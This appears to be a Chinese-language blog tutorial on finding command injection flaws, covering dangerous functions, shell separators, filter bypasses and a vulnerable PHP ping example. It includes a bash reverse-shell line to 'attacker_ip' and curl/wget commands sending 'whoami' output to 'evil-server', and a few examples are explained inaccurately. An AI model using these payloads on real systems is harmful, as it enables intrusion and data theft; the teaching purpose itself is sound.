web漏洞挖掘方法:命令注入篇
命令注入(Command Injection)是一种常见的网络安全漏洞。它发生在Web应用程序调用服务器的操作系统命令时(比如 ping、ls 等),而攻击者可以通过输入恶意的命令,使得这些命令在服务器上执行,甚至可以控制服务器。
一、简介
命令注入漏洞通常出现在通过调用外部程序来完成某些操作时,例如配置系统、查看系统信息、管理网络等。攻击者能够操纵输入,注入恶意命令来执行未经授权的操作,从而影响系统的安全性。
二、常见应用场景
配置主机名、IP地址、掩码、网关等。
执行ping、nslookup、发送邮件、转换图片等功能。
管理服务器(如重启、关机等)。
三、常见的危险函数
不同的编程语言有一些危险的函数,如果程序使用了这些函数来执行系统命令,攻击者就可能会插入恶意命令。
1. PHP中的危险函数(用于执行系统命令):
system():执行一个外部程序或命令。 exec():执行一个外部程序并返回结果。 shell_exec():执行外部程序并返回其输出。 passthru():执行命令并将输出直接返回。 popen():打开一个进程,并允许你读取其输出。 proc_open():启动一个外部程序,允许你与之交互。
2. Python中的危险函数:
os.system():执行一个系统命令。 subprocess.call():执行一个外部命令。 subprocess.Popen():启动一个新进程来执行命令。
3. Java中的危险函数:
java.lang.Runtime.getRuntime().exec(command):执行一个系统命令。
四、常见的注入方式
1. 分号分割命令:
分号(;)是命令的分隔符。攻击者可以在命令中加入分号,将自己的命令和原本的命令分开,从而让服务器执行多个命令。 例如: ping 127.0.0.1; ls -la 在这个例子中,攻击者通过分号分隔了两个命令:第一个是 ping 命令,第二个是 ls -la 命令,这样服务器会先执行 ping,然后执行 ls -la。
2. 逻辑运算符(&&、||、&):
这些运算符可以用来控制命令的执行顺序。 &&:表示“如果前面的命令成功,则执行后面的命令”。 ||:表示“如果前面的命令失败,则执行后面的命令”。 &:表示“后台运行当前命令并继续执行下一个命令”。 举个例子,如果攻击者输入: ping 127.0.0.1 && ls -la 那么,如果 ping 命令成功,服务器就会继续执行 ls -la 命令。
3. 管道符(|):
管道符把一个命令的输出传递给另一个命令,攻击者也可以利用这一点执行多个命令。 例如: echo "hello" | ls -la 这个命令会先输出 hello,然后把 ls -la 命令作为输入传给它。
4. 命令替换(反引号 `` 或 $()):
在命令中使用反引号或 $() 可以把一个命令的结果作为另一个命令的输入。 例如: echo `ls -la` 这个命令会执行 ls -la 命令,并将其输出传给 echo。
5.换行符(\r\n、%d0%a0)
攻击者可能会使用不同的编码方式插入换行符,帮助绕过某些过滤或输入验证。
例如:
echo "ping 127.0.0.1%0a ls -la"
五、 无回显技巧
有时,攻击者可能希望执行命令而不让系统输出回显信息,这样可以避免被检测到。常见的无回显技巧包括:
1. Bash反弹Shell
通过在目标服务器上执行命令,攻击者可以将一个反向Shell连接回自己的计算机,获取系统的控制权。这通常通过bash命令完成。 例如: bash -i >& /dev/tcp/attacker_ip/port 0>&1
2. DNS带外数据
攻击者可以通过DNS请求将数据传递到攻击者控制的服务器上,从而达到无回显的目的。通过执行命令并将结果通过DNS请求发送回控制服务器。
3. HTTP带外
与DNS类似,攻击者也可以使用HTTP请求将敏感数据传送到攻击者的服务器。通过伪造HTTP请求,执行命令并发送结果。
4. curl 或 wget
攻击者可能通过curl或wget等工具将命令执行结果发送到恶意服务器。
例如:
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
六、常见绕过方式
攻击者会尝试绕过输入验证或过滤,常见的绕过方式包括:
1. 空格绕过
攻击者可能通过使用不同的空格字符来绕过过滤。 例如: %09(Tab字符)替代空格。 ${IFS}:IFS是内部字段分隔符,使用它来替代常规空格字符。 例如,cat$IFS2被解析为cat 2。
2. 黑名单绕过
当应用程序使用黑名单来防止特定字符(如分号、管道符)时,攻击者可能尝试通过替代字符或编码绕过这些限制。 例如: 使用$a$b构造命令,其中a和b是变量。 使用base64编码绕过检查:echo "bHM=" | base64 -d。
3. 长度限制绕过
某些应用可能限制命令的长度,攻击者可能通过命令重定向、分段或其他方式绕过这些限制。 例如: ls -t > a sh a 这个方法会将命令先写入文件,然后通过某些手段执行。
假设你有一个Web页面,用来让管理员查看服务器的当前IP地址。程序可能会用类似下面的代码来执行命令:
$ip = $_GET['ip']; // 用户输入的IP地址
$output = shell_exec("ping " . $ip); // 执行ping命令
echo $output; // 显示结果
假设这个Web应用没有验证用户输入,那么攻击者可能在URL中输入:
http://yaojiaohui.net/script.php?ip=127.0.0.1 && ipconfig
这里的 127.0.0.1 是合法的IP地址,而 ; ipconfig 是注入的恶意命令。

本文为要教会原创,欢迎转载分享。转载时请务必在文章页面明显位置提供本文链接并注明出处。感谢您对知识的尊重和对本文的肯定!本文链接网址:https://yaojiaohui.net/wangluoanquan/1211.html
1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。